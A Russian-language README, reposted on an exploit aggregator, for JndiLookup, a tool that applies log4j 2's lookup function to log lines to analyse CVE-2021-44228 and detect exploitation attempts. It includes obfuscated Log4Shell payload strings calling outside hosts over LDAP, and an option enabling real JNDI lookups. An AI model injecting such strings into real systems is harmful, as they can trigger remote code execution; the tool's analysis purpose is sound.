Sploitus

Exploit for JndiLookup

kitploit Β· 2026-09-01

Exploit Code

MARKDOWN42 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MADCDAN-JNDILOOKUP
# JndiLookup

Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚ для Π°Π½Π°Π»ΠΈΠ·Π° уязвимости Apache Log4j 2 CVE-2021-44228

Π­Ρ‚ΠΎΡ‚ инструмСнт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ "lookup" ΠΈΠ· log4j-2 для тСстирования уязвимости JNDI. ЦСль β€” Π»Π΅Π³ΠΊΠΎ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ lookup (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, для Π½ΠΎΡ€ΠΌΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Π»ΠΎΠ³ΠΎΠ² ΠΈΠ»ΠΈ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ тСстирования Π½Π° ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ β€” Π±ΡƒΠ΄ΡŒΡ‚Π΅ остороТны).

Для сборки: "make" (для удобства Ρ„Π°ΠΉΠ» JndiLookup.jar Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Π² этот git).

ПослС сборки Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ инструмСнт с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ "java -jar JndiLookup.jar" (ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ log4j с Π±ΠΈΠ½Π°Ρ€Π½ΠΈΠΊΠ°ΠΌΠΈ log4j Π΄ΠΎΠ»ΠΆΠ΅Π½ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ ΠΏΡƒΡ‚ΠΈ, Ρ‡Ρ‚ΠΎ ΠΈ JndiLookup.jar)

Π‘Π΅Π· Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² инструмСнт JndiLookup Ρ‡ΠΈΡ‚Π°Π΅Ρ‚ строки ΠΈΠ· stdin ΠΈ "ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΠ΅Ρ‚" ΠΈΡ… с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ lookup ΠΎΡ‚ log4j β€” это ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ для Π½ΠΎΡ€ΠΌΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Π»ΠΎΠ³ΠΎΠ² ΠΈ поиска ΠΏΠΎΠΏΡ‹Ρ‚ΠΎΠΊ эксплуатации

НапримСр: cat access.log | java -jar JndiLookup.jar

Если Π²Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΄ΠΈΡ‚Π΅ строку Π² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строкС, инструмСнт ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΠ΅Ρ‚ эту строку ΠΈ Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡΡ (поТалуйста, экранируйтС всС символы '$').

НапримСр: java -jar JndiLookup.jar java -jar JndiLookup.jar "\${jndi:\${lower:l}\${lower:d}a\${lower:p}://world443.log4j.bin\${upper:a}ryedge.io:80/callback}"

По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ lookup JNDI ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Ρ‘Π½ (ΠΈ Π·Π°ΠΌΠ΅Π½Ρ‘Π½ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ lookup, которая просто добавляСт "jndi:"), Π½ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹ΠΉ lookup JNDI, ΠΏΠ΅Ρ€Π΅Π΄Π°Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ "-X" Π² JndiLookup ("-X" Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½ ΠΊΠ°ΠΊ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€); Π‘Π£Π”Π¬Π’Π• ΠžΠ‘Π’ΠžΠ ΠžΠ–ΠΠ«, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ это ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ ΠΊΠΎΠΌΠΏΡ€ΠΎΠΌΠ΅Ρ‚Π°Ρ†ΠΈΠΈ вашСй систСмы.

НапримСр: java -jar JndiLookup.jar -X "\${jndi:ldap://w8pcb14reujq65vic39pz9amv.canarytokens.com/a}" [ Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΠΌΠΎΠΈΡ… canary token, это Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°; поТалуйста, Π·Π½Π°ΠΉΡ‚Π΅, Ρ‡Ρ‚ΠΎ я Π±ΡƒΠ΄Ρƒ ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Ρ‘Π½, Ссли Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ эту ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ β€” с ΠΌΠΎΠ΅ΠΉ стороны Π½Π΅Ρ‚ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ, Π½ΠΎ я ΠΏΠΎΠ»ΡƒΡ‡Ρƒ IP-адрСс, с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ выполняСтся DNS-запрос ]

Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ lookup Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ Π² ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… Π±ΠΈΠ½Π°Ρ€Π½ΠΈΠΊΠ°Ρ… log4j (2.15.0 для стандартного использования, 2.14.1 для использования с ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ JNDI):

  * log4j
  * sys
  * env
  * main
  * marker
  * java
  * base64
  * lower
  * upper
  * date
  * ctx



Π”Ρ€ΡƒΠ³ΠΈΠ΅ lookup ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ доступны Π² зависимости ΠΎΡ‚ вашСго окруТСния:

  * docker